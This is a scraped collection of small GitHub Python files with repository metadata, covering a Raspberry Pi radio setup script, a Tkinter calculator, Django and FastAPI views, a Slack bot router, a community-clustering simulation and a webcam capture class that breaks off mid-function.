self.umount(dev_root['MountPath'])\n\n def enable_radio(self):\n \"\"\"Enable an IEEE 802.15.4 radio, currently support openlab and MICROCHIP radios.\n \"\"\"\n print('=== Install radio ===')\n # read configuration file\n self.config = self.utl.read_config('config', self.config)\n\n # write config.txt\n value = 'dtoverlay=' + self.config.get('dtoverlay', '')\n if self.config.get('dtoverlay', '') == '': # no radio selected\n print ('ERROR: No radio selected. Please check the configuration file: \\\"config\\\".')\n exit(1)\n self.utl.delete_lines(self.CONFIG_FILE, value, 0, len(value), True)\n self.utl.write_file(value + '\\n', self.CONFIG_FILE, 'a')\n if value.find('mrf24j40') > 0:\n self.utl.call(\"sudo cp -f mrf24j40.dtbo /boot/overlays/\", shell=True)\n\n # write lowpan file\n f = open('tmp_lowpan', 'w')\n if self.config.get('CHN', '') != '':\n f.write('CHN=\\\"' + self.config['CHN'] + '\\\"\\n')\n if self.config.get('PAN', '') != '':\n f.write('PAN=\\\"' + self.config['PAN'] + '\\\"\\n')\n if self.config.get('MAC', '') == '':\n f.write(\"MAC=\\\"\" + self.utl.gen_mac() + \"\\\"\\n\")\n else:\n f.write('MAC=\\\"' + self.config['MAC'] + '\\\"\\n')\n if self.config.get('IP6', '') != '':\n f.write('IP6=\\\"' + self.config['IP6'] + '\\\"\\n')\n f.close()\n self.utl.call(\"sudo cp tmp_lowpan \" + self.LOWPAN_FILE, shell=True)\n\n print('=== Install software ===')\n self.initialize_pi()\n\n return\n","repo_name":"smit-project/smit","sub_path":"pisetup/deploypi.py","file_name":"deploypi.py","file_ext":"py","file_size_in_byte":17350,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"24258060348","text":"import random\ns=[]\nt=[]\nfor i in range(0,6):\n num=random.randint(1,20)\n s.append(num)\n\n\nf = open('lotto_num','r')\nwhile True:\n line = f.readline()\n if not line: break\n t.append(int(line))\nf.close()\n\n\n\ncnt=0\n\nfor i in range(0,6):\n for j in range(0,6):\n if s[i]==t[j]:\n cnt+=1\n break\n\nprint(s)\nprint(t)\nprint('Correct =',cnt)\n","repo_name":"yeonns2/SJU-subject","sub_path":"고급프로그래밍P/12주차/12-2.py","file_name":"12-2.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"7660841112","text":"import os\nfrom datetime import date, datetime\nfrom cloudant import CouchDB\n\ndef current_year():\n \"\"\"Get current year (local timezone)\"\"\"\n return date.today().isocalendar()[0]\n\ndef current_week():\n \"\"\"Get current week number (local timezone)\"\"\"\n return date.today().isocalendar()[1]\n\ndef current_year_week():\n \"\"\"Get current year+week identification\"\"\"\n return \"{:4d}-{:2d}\".format(current_year(), current_week())\n\ndef current_day():\n \"\"\"Return current week day number, 0 = monday (local timezone)\"\"\"\n return date.today().isocalendar()[2] - 1\n\ndef timestamp_rfc3339():\n \"\"\"Generate RC3339 compliant UTC timestamp\"\"\"\n return datetime.utcnow().isoformat(\"T\") + \"Z\"\n\ndef couch_connect(user=None, auth=None, url=None):\n if not user:\n user = os.getenv(\"COUCHDB_USER\", \"admin\")\n if not auth:\n auth = os.getenv(\"COUCHDB_PASSWORD\", \"admin\")\n if not url:\n url = os.getenv(\"COUCHDB_URL\", \"http://127.0.0.1:5984\")\n return CouchDB(user, auth, url=url, connect=True)\n\ndef create_couch_views(db):\n design_doc = {\n \"_id\": \"_design/views\",\n \"views\": {\n \"byYearWeek\": {\n \"map\": \"function (doc) {\\n if (doc.type === \\\"weekly_menu\\\" && doc.menus.year_week)\\n emit(doc.menus.year_week, doc);\\n}\"\n },\n \"bySourceNameYearWeek\": {\n \"map\": \"function (doc) {\\n if (doc.type === \\\"weekly_menu\\\" && doc.source_name && doc.menus.year_week)\\n emit(doc.source_name+\\\"/\\\"+doc.menus.year_week, doc);\\n}\"\n }\n },\n \"language\": \"javascript\"\n }\n db.create_document(design_doc)","repo_name":"grigorig/mittagv2","sub_path":"mittagv2/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1619,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"43660129195","text":"import math\nimport operator\nimport tkinter as tk\n\noperators = [\"+\",\"-\",\"*\",\"/\",\"^\"] #Operadores\nfnTrig = [\"sen\",\"sin\", \"cos\", \"tan\",] \nafnTrig = [\"cot\", \"sec\", \"csc\",\"asin\",\"atan\",\"acos\"]\nfnLog = [\"log\",\"ln\",\"aln\",\"sin\",\"alog\",\"e\"]\nbuttons=[\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"+\",\"-\",\"*\",\"/\",\"^\",\"sen\",\"cos\",\"tan\",\"cot\",\"sec\",\"csc\",\"(\",\")\"]\n#parenthesis_start = ['(','[','{',]\n#parenthesis_finish = [')',']','}'] # Parentesis\n\ncalculation = \"\"\n\ndef add_to_calculation(symbol):\n global calculation\n calculation += str(symbol)\n text_result.delete(1.0,\"end\")\n text_result.insert(1.0,calculation)\n pass\n\ndef clear_field():\n global calculation\n calculation = \"\"\n text_result.delete(1.0,\"end\")\n\nroot = tk.Tk()\nroot.geometry(\"1000x350\")\nroot.title('CALCULATOR')\nroot.config(bg='#616161')\n\ntext_result = tk.Text(root, height=2, width= 60, font=(\"System\",22))\ntext_result.grid(columnspan=60)\ntext_result.config(bg=\"#424242\",fg=\"white\")\n\n\n\n\n\n\nops = {\n \"+\": operator.add,#Funcion suma\n \"-\": operator.sub,#Resta\n \"*\":operator.mul,#Multiplicacion\n \"/\":operator.truediv,#Division\n \"^\":operator.pow,#Potencia\n \"sen\":math.sin,\n \"sin\":math.sin,\n \"cos\":math.cos,\n \"tan\":math.tan,\n \"cot\":math.atan,\n \"atan\":math.atan,\n \"sec\":math.acos,\n \"acos\":math.acos,\n \"csc\":math.asin,\n \"asin\":math.asin,\n \"log\":math.log10,\n \"ln\":math.log,\n \"aln\":math.exp,\n \"e\":math.exp, \n}\n\n\ndef OperacionPostfix(P): # Operaciones posfix\n P = list(P)\n P.append(\")\")\n Stack = []\n i = 0\n while P[i]!=\")\":\n try:\n if P[i] in operators:\n B = Stack.pop()\n A = Stack.pop()\n C = ops[P[i]](A,B)\n Stack.append(C)\n elif P[i] in fnTrig:\n A = math.radians(Stack.pop())\n B = round(ops[P[i]](A),10)\n Stack.append(B)\n elif P[i] in afnTrig:\n A = (Stack.pop())\n B = round(ops[P[i]](A),10)\n B = round(math.degrees(B),10)\n Stack.append(B)\n elif P[i] in fnLog:\n if P[i] in [\"alog\"]:\n A = Stack.pop()\n B = math.pow(10,A)\n Stack.append(B)\n else:\n A = Stack.pop()\n B = ops[P[i]](A)\n Stack.append(B)\n elif P[i] not in operators:\n Stack.append(float(P[i]))\n else:\n print(\"Invalid output, exiting\")\n break\n except:\n clear_field()\n text_result.insert(1.0,\"MathError\")\n return\n i = i+1\n if len(Stack)>1: # Numeros separados sin signo se multiplican\n for i in range(0,len(Stack)-1):\n a = Stack.pop()\n b = Stack.pop()\n c = a * b\n Stack.append(c)\n \n return (Stack.pop())\n\n# def Infix():\n# operacion = str(input(\"Ingrese la operacion con espacios entre cada numero/simbolo: \"))\n# a = operacion.split()\n# return a\n\ndef Infix(input):\n operacion = str(input)\n a = operacion.split()\n return a\n\n\ndef Priority(Valor):\n if Valor in [\"+\",\"-\"]:\n return 1\n elif Valor in [\"*\",\"/\"]:\n return 2\n elif Valor in [\"sen\",\"cos\",\"tan\",\"sec\",\"csc\",\"cot\",\"sin\",\"ln\",\"log\",\"aln\",\"alog\",\"acos\",\"asin\",\"atan\"]:\n return 4\n elif Valor in [\"^\"]:\n return 3\n elif Valor in [\"(\"]:\n return 0\n else:\n return -1\n\n\n\ndef InfixtoPostfix(Infix):\n Infix = list(Infix)\n Infix.insert(0,\"(\")\n Infix.append(\")\")\n Postfix=[]\n Ops_Stack=[]\n for i in range(0,int(len(Infix))): \n if Infix[i] in operators:# Operador\n for k in range(int(len(Ops_Stack))-1,-1,-1):#Saca del stack\n if Priority(Infix[i]) <= Priority(Ops_Stack[k]): \n A = Ops_Stack.pop()\n Postfix.append(A)\n continue\n else:\n break\n Ops_Stack.append((Infix[i]))\n elif Infix[i] in fnLog:\n Ops_Stack.append((Infix[i]))\n elif Infix[i] in fnTrig or Infix[i] in afnTrig:\n Ops_Stack.append((Infix[i]))\n elif Infix[i] == \"(\": # (\n Ops_Stack.append((Infix[i]))\n elif Infix[i] == \")\": # )\n for j in range(int(len(Ops_Stack))-1,-1,-1):\n if Ops_Stack[j]!=\"(\":\n A = Ops_Stack.pop()\n Postfix.append(A)\n elif Ops_Stack[j]==\"(\":\n Ops_Stack.pop()\n break\n elif Infix[i] not in operators:\n Postfix.append(Infix[i])\n return Postfix\n\ndef Prio(lista):\n lista = list(lista)\n for i in range(0,int(len(lista))):\n if lista[i] in operators:\n print (lista[i], \" = \", (math.ceil(int((operators.index(lista[i]))+1)/2)))\n # return operators.index(lista[i])\n else:\n print(\"\",end=\"\")\n\n# Prioridad\n# 1) + -\n# 2) * /\n# 3) ^\n# 4) ( )\n\ndef makeCalculation(calculo):\n global calculation\n try:\n a = Infix(calculo)\n p = InfixtoPostfix(a)\n resultado = OperacionPostfix(p)\n calculation = \"\"\n text_result.delete(1.0,\"end\")\n text_result.insert(1.0,resultado)\n except:\n clear_field()\n text_result.insert(1.0,\"MathError\")\n\nbtn_1 = tk.Button(root,text=\"1\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(1),width=5, font=(\"Arial\",14))\nbtn_1.grid(row=2, column=1)\n\nbtn_2 = tk.Button(root,text=\"2\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(2),width=5, font=(\"Arial\",14))\nbtn_2.grid(row=2, column=2)\n\nbtn_3 = tk.Button(root,text=\"3\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(3),width=5, font=(\"Arial\",14))\nbtn_3.grid(row=2, column=3)\n\nbtn_4 = tk.Button(root,text=\"4\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(4),width=5, font=(\"Arial\",14))\nbtn_4.grid(row=3, column=1)\n\nbtn_5 = tk.Button(root,text=\"5\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(5),width=5, font=(\"Arial\",14))\nbtn_5.grid(row=3, column=2)\n\nbtn_6 = tk.Button(root,text=\"6\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(6),width=5, font=(\"Arial\",14))\nbtn_6.grid(row=3, column=3)\n\nbtn_7 = tk.Button(root,text=\"7\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(7),width=5, font=(\"Arial\",14))\nbtn_7.grid(row=4, column=1)\n\nbtn_8 = tk.Button(root,text=\"8\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(8),width=5, font=(\"Arial\",14))\nbtn_8.grid(row=4, column=2)\n\nbtn_9 = tk.Button(root,text=\"9\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(9),width=5, font=(\"Arial\",14))\nbtn_9.grid(row=4, column=3)\n\nbtn_0 = tk.Button(root,text=\"0\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(0),width=5, font=(\"Arial\",14))\nbtn_0.grid(row=5, column=2)\n\nbtn_period = tk.Button(root,text=\".\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\".\"),width=5, font=(\"Arial\",14))\nbtn_period.grid(row=5, column=1)\n\nbtn_sum = tk.Button(root,text=\"+\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" + \"),width=5, font=(\"Arial\",14))\nbtn_sum.grid(row=2, column=5)\n\nbtn_minus = tk.Button(root,text=\"-\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" - \"),width=5, font=(\"Arial\",14))\nbtn_minus.grid(row=3, column=5)\n\nbtn_mult = tk.Button(root,text=\"*\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" * \"),width=5, font=(\"Arial\",14))\nbtn_mult.grid(row=4, column=5)\n\nbtn_div = tk.Button(root,text=\"/\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" / \"),width=5, font=(\"Arial\",14))\nbtn_div.grid(row=5, column=5)\n\nbtn_div = tk.Button(root,text=\"^\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" ^ \"),width=5, font=(\"Arial\",14))\nbtn_div.grid(row=6, column=5)\n\nbtn_open = tk.Button(root,text=\"(\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" ( \"),width=5, font=(\"Arial\",14))\nbtn_open.grid(row=2, column=6)\n\nbtn_close = tk.Button(root,text=\")\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" ) \"),width=5, font=(\"Arial\",14))\nbtn_close.grid(row=3, column=6)\n\nbtn_neg = tk.Button(root,text=\"(-)\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" -\"),width=5, font=(\"Arial\",14))\nbtn_neg.grid(row=4, column=6)\n\nbtn_log = tk.Button(root,text=\"log\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" log \"),width=5, font=(\"Arial\",14))\nbtn_log.grid(row=5, column=6)\n\nbtn_ln = tk.Button(root,text=\"ln\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" ln \"),width=5, font=(\"Arial\",14))\nbtn_ln.grid(row=6, column=6)\n\nbtn_alog = tk.Button(root,text=\"alog\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" alog \"),width=5, font=(\"Arial\",14))\nbtn_alog.grid(row=5, column=7)\n\nbtn_aln = tk.Button(root,text=\"e\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" e \"),width=5, font=(\"Arial\",14))\nbtn_aln.grid(row=6, column=7)\n\nbtn_sin = tk.Button(root,text=\"sin\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" sin \"),width=5, font=(\"Arial\",14))\nbtn_sin.grid(row=6, column=1)\n\nbtn_cos = tk.Button(root,text=\"cos\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" cos \"),width=5, font=(\"Arial\",14))\nbtn_cos.grid(row=6, column=2)\n\nbtn_tan = tk.Button(root,text=\"tan\",background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" tan \"),width=5, font=(\"Arial\",14))\nbtn_tan.grid(row=6, column=3)\n\nbtn_asin = tk.Button(root,text=u'sin\\u207b\\u00b9',background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" asin \"),width=5, font=(\"Arial\",14))\nbtn_asin.grid(row=7, column=1)\n\nbtn_acos = tk.Button(root,text=u'cos\\u207b\\u00b9',background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" acos \"),width=5, font=(\"Arial\",14))\nbtn_acos.grid(row=7, column=2)\n\nbtn_atan = tk.Button(root,text=u'tan\\u207b\\u00b9',background=\"gray\",fg=\"white\",command=lambda: add_to_calculation(\" atan \"),width=5, font=(\"Arial\",14))\nbtn_atan.grid(row=7, column=3)\n\nbtn_equals = tk.Button(root,text=\"=\",background=\"gray\",fg=\"white\",command=lambda: makeCalculation(calculation),width=5, font=(\"Arial\",14))\nbtn_equals.grid(row=5, column=3)\n\nbtn_reset = tk.Button(root,text=\"AC\",background=\"gray\",fg=\"white\",command=clear_field,width=5,height=5, font=(\"Arial\",14))\nbtn_reset.grid(row=1, column=7,rowspan=4)\n\nroot.mainloop()\n\na = Infix()\nprint (\"Infix: \", a)\n\np = InfixtoPostfix(a)\nprint (\"Prioridad: \")\nPrioridad = Prio(a)\nprint (\"Posfix: \", p)\n\n#P = [\"5\",\"6\",\"2\",\"+\",\"*\",\"12\",\"4\",\"/\",\"-\"]\nprint (\"Prioridad: \")\nPrioridad = Prio(p)\n\nResultado = OperacionPostfix(p)\nprint (\"Resultado: \", Resultado)\n\n# 1 / ( x + ( 1 / ( x + ( 1 / ( x + ( 1 / x ) ) ) ) ) )\n\n#Prio\n\"\"\"\n+-\n*/\nFunctions\n^\n()\n\"\"\"","repo_name":"UP210878/up210878_dsa","sub_path":"U2/CalculatorWithUI.py","file_name":"CalculatorWithUI.py","file_ext":"py","file_size_in_byte":10946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"33214388515","text":"from django.shortcuts import render, redirect\nfrom .models import Groups\nfrom django.contrib import messages\nfrom django.db import IntegrityError\nfrom .validation import is_valid_group_name\nfrom django.urls import reverse\n\n\ndef getgroups(request):\n groups = Groups.objects.all()\n return render(request, 'groups/groups.html', {\"groups\": groups})\n\n\ndef add_group(request):\n if request.method == 'POST':\n name = request.POST.get('name')\n description = request.POST.get('description')\n description = description.capitalize()\n\n if not name:\n error_message = \"Group name is required.\"\n messages.error(request, error_message)\n return redirect('add_group')\n\n if not is_valid_group_name(name):\n error_message = 'Invalid format. Group name should start with a letter and should not exceed 30 characters.'\n messages.warning(request, error_message)\n return redirect('add_group')\n\n try:\n group = Groups(name=name, description=description)\n group.save()\n except IntegrityError:\n error_message = \"Group with this name already exists.\"\n messages.warning(request, error_message)\n return redirect('add_group')\n\n return redirect('getgroups')\n else:\n return render(request, 'groups/add_group.html')\n\n\n\ndef edit_group(request, group_id):\n group = Groups.objects.get(id=group_id)\n if request.method == 'POST':\n new_name = request.POST.get('name')\n new_description = request.POST.get('description')\n new_description = new_description.capitalize()\n try:\n group.name = new_name\n group.description = new_description\n group.save()\n except IntegrityError:\n error_message = \"Group with this name already exists.\"\n messages.warning(request, error_message)\n return redirect(reverse('edit_group', args=[group_id]))\n return redirect('getgroups')\n return render(request, 'groups/edit_group.html', {'group': group})\n\n\ndef delete_group(request, group_id):\n try:\n group = Groups.objects.get(id=group_id)\n if group.members.count() == 0:\n group.delete()\n return redirect('getgroups')\n else:\n error_message = \"This group cannot be deleted as it contains users.\"\n messages.error(request, error_message)\n return redirect('getgroups')\n except Groups.DoesNotExist:\n return redirect('getgroups')\n","repo_name":"Yurashpak887/vnv_project","sub_path":"groups/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"36110208423","text":"from typing import *\n\n\ndef is_happy(n: int) -> bool:\n loop = set()\n while n != 1:\n loop.add(n)\n digits = [int(digit) for digit in str(n)]\n n = sum([digit**2 for digit in digits])\n if n in loop:\n return False\n return True\n\n\ndef twoSum(nums: List[int], target: int) -> List[int]:\n max_ = len(nums)\n for x_index in range(max_):\n for y_index in range(x_index+1, max_):\n if nums[x_index] + nums[y_index] == target:\n return [x_index, y_index]\n\n\ndef isometric_string(s, t):\n if len(s) != len(t):\n return False\n mapped = {}\n index = 0\n for char in s:\n if (char in mapped.keys()) or (t[index] in mapped.values()):\n try:\n if t[index] != mapped[char]:\n return False\n except KeyError:\n return False\n else:\n mapped[char] = t[index]\n index += 1\n return True","repo_name":"a-v-e-s/Academic","sub_path":"misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"13929520209","text":"from fastapi.responses import JSONResponse\nimport json\nfrom fastapi import APIRouter, Depends, HTTPException\nfrom pydantic import BaseModel # リクエストbodyを定義するために必要\nfrom src import app as sa\n\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\n\nrouter = APIRouter()\nTOKEN = os.getenv('Bot_User_OAuth_Token')\nCHANNEL = os.getenv('CHANNEL')\n\napp = sa.SlackApp(\n TOKEN, # API Token\n CHANNEL \n )\n\n# リクエストbodyを定義\nclass slackvari(BaseModel):\n token: str\n challenge: str\n type: str\n\n@router.post(\"/\")\ndef events(req:slackvari):\n app.submit_text('mentionされました?')\n return JSONResponse({\"challenge\": req.challenge}, status_code=200)\n\n@router.post(\"/submit_text\", status_code=200)\ndef text_to_slack(text: str):\n try:\n app.submit_text(text)\n return JSONResponse({\"message\": \"Message sent to Slack.\"}, status_code=200)\n except Exception:\n return JSONResponse({\"message\": \"Failed to send message.\"}, status_code=404)\n\n@router.get(\"/latest-text\")\ndef text_to_slack():\n try:\n app = sa.SlackApp(\n TOKEN, # API Token\n CHANNEL \n )\n latest_text = app.part_get()\n return JSONResponse({\"message\": latest_text}, status_code=200)\n except Exception:\n return JSONResponse({\"message\": \"Failed to read latest message.\"}, status_code=404)","repo_name":"hiitos/scrabot","sub_path":"src/routers.py","file_name":"routers.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"28763468787","text":"import pandas as pd\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.naive_bayes import GaussianNB\n\ndata = pd.read_csv('./data.csv')\n\nX = data.iloc[:, 0:4].values\nY = data.iloc[:, 4].values\n\nlabel_encoder_aparencia = LabelEncoder()\nlabel_encoder_temperatura = LabelEncoder()\nlabel_encoder_umidade = LabelEncoder()\nlabel_encoder_ventando = LabelEncoder()\n\nX[:, 0] = label_encoder_aparencia.fit_transform(X[:, 0])\nX[:, 1] = label_encoder_temperatura.fit_transform(X[:, 1])\nX[:, 2] = label_encoder_umidade.fit_transform(X[:, 2])\nX[:, 3] = label_encoder_ventando.fit_transform(X[:, 3])\n\nnaive = GaussianNB()\nnaive = naive.fit(X, Y)\n\nprevisao = naive.predict([[0,1,1,0]])\nprint(previsao)","repo_name":"biapessoab/artificial-intelligence","sub_path":"lista4/ex2.py","file_name":"ex2.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"4170783935","text":"from django.shortcuts import render, redirect\nfrom urllib.parse import urlencode\nimport requests\nfrom django.http.response import HttpResponse\nfrom .forms import Activity, NumberTriviaForm\nfrom django.core.cache import caches\n\ndef ActivityFormView(request):\n actvity = \"\"\n form = Activity()\n if request.method == \"POST\":\n form = Activity(request.POST)\n if form.is_valid():\n print(form.cleaned_data)\n field_label = list(form.fields.keys())\n type = form.cleaned_data.get(\"type\")\n participant = form.cleaned_data.get(\"participant\", None)\n accessibility = form.cleaned_data.get(\"accessibility\", None)\n price = form.cleaned_data.get(\"price\",None)\n activity_filter = [type,participant, accessibility, price]\n #print(type)\n query = {}\n for i, x in enumerate(activity_filter):\n #print(field_label[i])\n if x is not None and x != \"\":\n #print(x)\n query[str(field_label[i])] = x\n #print(query)\n base_url = \"http://www.boredapi.com/api/activity/\"\n query = urlencode(query)\n full_url = f\"{base_url}?{query}\"\n print(full_url)\n response = requests.get(full_url, \"json\")\n actvity = response.json()\n print(actvity)\n\n context = {\n \"form\":form,\n \"activity\":actvity\n }\n return render(request, \"activityform.html\", context)\n\n\ndef NumberFormView(request):\n form = NumberTriviaForm()\n text = \"\"\n if request.method == \"POST\":\n form = NumberTriviaForm(request.POST)\n if form.is_valid():\n type = form.cleaned_data.get(\"type\")\n number = form.cleaned_data.get(\"number\")\n url = f\"http://numbersapi.com/{number}/{type}\"\n response = requests.get(url, 'json')\n\n text = response.json()[\"text\"]\n\n context = {\n \"form\":form,\n \"text\":text\n }\n return render(request, \"numberform.html\", context)\n\ndef Home(request):\n return render(request, \"home.html\" )\n","repo_name":"DrAnonymousNet/Bored-App","sub_path":"Bore/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"72536336424","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May 5 00:52:52 2017\n\n@author: amirb\n\"\"\"\n#############################################################################################################\n#----------------------------------Identification des communautées-------------------------------------#\n#############################################################################################################\n\n# Benmahjoub Amir , Vincent Ragel\n\n\"\"\"\n\nCe programme estime , à l’aide de l’importance sampling, la probabilité qu’un ensemble\nde grand cardinal (plus de 40 pourcents des individus), soit mal clusterisé \n\n\"\"\"\n\n\"\"\"Le sampling ne modifie que toutes les probas\"\"\"\n\nimport numpy as np\nfrom clustering import matrice_Adjacence_Sampling_Q2_2\nfrom clustering import indicatrice_grdNombres_Q22\n\n \n\n\n\n \n## Données du problème : \nn=50 #nombre de points\nk=2 #nombre de cluster\nM = 1000\n \nc_in=19.0\nc_out=8.0\np_in=c_in/n\np_out=c_out/n\n\nc_in_prime=12.0\nc_out_prime=9.0\np_in_prime=c_in_prime/n\np_out_prime=c_out_prime/n\n\n\n### Paramètres de la simulation\np1=2 ##Nombre de points à considérer dans le cluster n1\np2=0 ##Nombre de points à considérer dans le cluster n1\n\n\n\n \nV=np.arange(n) \nC=np.zeros(n)\n#Nprime définit le nombre de 1\nnprime=n/2\nC[nprime:]=np.ones(n-nprime) \n\n\n\n### Coeffiicent multiplicateur\nS_in = (1-p_in)/(1-p_in_prime)\nS_in_simple = p_in/p_in_prime\nS_out = (1-p_out)/(1-p_out_prime)\nS_out_simple = (p_out)/(p_out_prime)\n\n \nF_in = (p_in*(1-p_in_prime))/(p_in_prime*(1-p_in))\nF_out = (p_out*(1-p_out_prime))/(p_out_prime*(1-p_out))\n\n\nprint(\"################## Sampling Généralisé ####################\")\nprint(\"Données du problème :\")\nprint(\"Nombre d'individus : \",n)\nprint(\"Nombre de simulations : \",M)\nprint(\"C_in = \", c_in,\" C_out = \", c_out)\nprint(\"p_in = \", p_in,\" p_out = \", p_out)\nprint(\"C_in_prime = \", c_in_prime,\" C_out_prime = \", c_out_prime)\nprint(\"p_in_prime = \", p_in_prime,\" p_out_prime = \", p_out_prime)\n\n\nprint(\" \")\nprint(\"Condition pour un clustering fonctionnel : \")\nprint(\" c_in - c_out > np.sqrt(np.log(len(V))*(c_in+c_out)) \")\n\n\n\n\n#CONDITION POUR UN CLUSTERING QUI FONCTIONNE : a>>b\n\na=c_in-c_out\nb=np.sqrt(np.log(len(V))*(c_in+c_out))\nif (a>b):\n print( a , \" > \", b, \" Condition vérifée\")\nelse:\n print( a , \" < \", b, \" Condition non vérifée\")\n\n#print (\" c_in-c_out = \", a, \" np.sqrt(np.log(len(V))*(c_in+c_out)) = \", b)\n\na=c_in_prime-c_out_prime\nb=np.sqrt(np.log(len(V))*(c_in_prime+c_out_prime)) \nif (a>b):\n print( a , \" > \", b, \" Condition vérifée\")\nelse:\n print( a , \" < \", b, \" Condition non vérifée\")\n \nprint( \" \")\n#print (\" c_in_prime-c_out_prime = \", a , \" np.sqrt(np.log(len(V))*(c_in_prime+c_out_prime)) = \", b)\n\n#print(\"Coefficients :::\")\n#print(\"S_in = (1-p_in)/(1-p_in_prime)\",S_in)\n#print(\"S_in_simple = p_in/p_in_prime\",S_in_simple)\n#print(\"S_out = (1-p_out)/(1-p_out_prime)\",S_out)\n#print(\"S_out_simple = (1-p_out)/(1-p_out_prime)\", S_out_simple)\n\n\nprint(\"F_in\",F_in)\nprint(\"F_out\",F_out)\n\nEch=[]\n\nfor i in range(M):\n # On réalise M clustering avec les paramètres énoncés ci-dessus\n A=matrice_Adjacence_Sampling_Q2_2(V,C,c_in,c_out,c_in_prime,c_out_prime)\n Z_in = A[1] #Cardinal de Zin=1\n Z_out = A[2] #Cardinal de Zout=1\n Ech.append(indicatrice_grdNombres_Q22(A[0],C,V,nprime)*(F_in**(np.sum(Z_in)))*(F_out**(np.sum(Z_out))))\n \n\n\n### Ces deux lignes sont étranges \nnbcouplesamecluster = len(Z_in)\nnbcoupleclustediff = len(Z_out)\n\n#Debug\n#print(\"nbcouplesamecluster\",nbcouplesamecluster)\n#print(\"nbcoupleclustediff\",nbcoupleclustediff)\n\nP = (((1- p_in)/(1-p_in_prime))**nbcouplesamecluster) * (((1- p_out) / (1- p_out_prime))**(nbcoupleclustediff))\nEch = P*np.array(Ech)\n\nProba = np.mean(Ech)\n\n\n\nprint( \" \")\nprint( \" \")\n\nProba = np.mean(Ech)\nprint(\"########### Résultats ################@\")\nprint(\"Probailité obtenue = \" , np.mean(Ech))\nprint(\"Ecart type =\" , np.std(Ech) )\nprint(\"Demi largeur =\" , 1.96 * np.std(Ech) / np.sqrt(len(Ech)) )\n\nprint(\"Intervalle de confiance : \" ) \nprint(\"[\", np.mean(Ech) - 1.96 * np.std(Ech) / np.sqrt(len(Ech)), \" , \", np.mean(Ech) + 1.96 * np.std(Ech) / np.sqrt(len(Ech)),\"]\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"amirbenmahjoub/Community_identification","sub_path":"SamplingGrandNombre.py","file_name":"SamplingGrandNombre.py","file_ext":"py","file_size_in_byte":4209,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"72370847145","text":"import time\nfrom cv2 import *\nimport os\n\n\nclass CameraBase(object):\n CONFIG_BASE = {}\n\n def __init__(self, serial_no, config={}, settings={}, v4l2_config={}):\n self.filename = self.get_webcam_filename(serial_no)\n self._config = dict(self.CONFIG_BASE)\n self._config.update(config)\n self.settings = dict(settings)\n self.v4l2_config = v4l2_config\n\n self.setup_device()\n\n def setup_device(self):\n self._cap = VideoCapture(self.filename, apiPreference=CAP_V4L2)\n\n for key, value in self._config.items():\n self._cap.set(key, value)\n\n # dump first frame\n result, _ = self._cap.read()\n\n for i in range(2):\n # command = 'v4l2-ctl --device=%s --set-fmt-video=width=1280,height=720,pixelformat=MJPG' % self.filename\n # os.system(command)\n for key, value in self.v4l2_config.items():\n command = 'v4l2-ctl --device=%s --set-ctrl=%s=%d' % (\n self.filename, key, value)\n os.system(command)\n\n result, _ = self._cap.read()\n\n assert result\n\n def get_webcam_filename(self, identifier):\n filename = self.FILE_FORMAT % identifier\n return filename\n\n def get_frame(self, pre_fetch):\n device_retries = 5\n for i in range(device_retries):\n try:\n 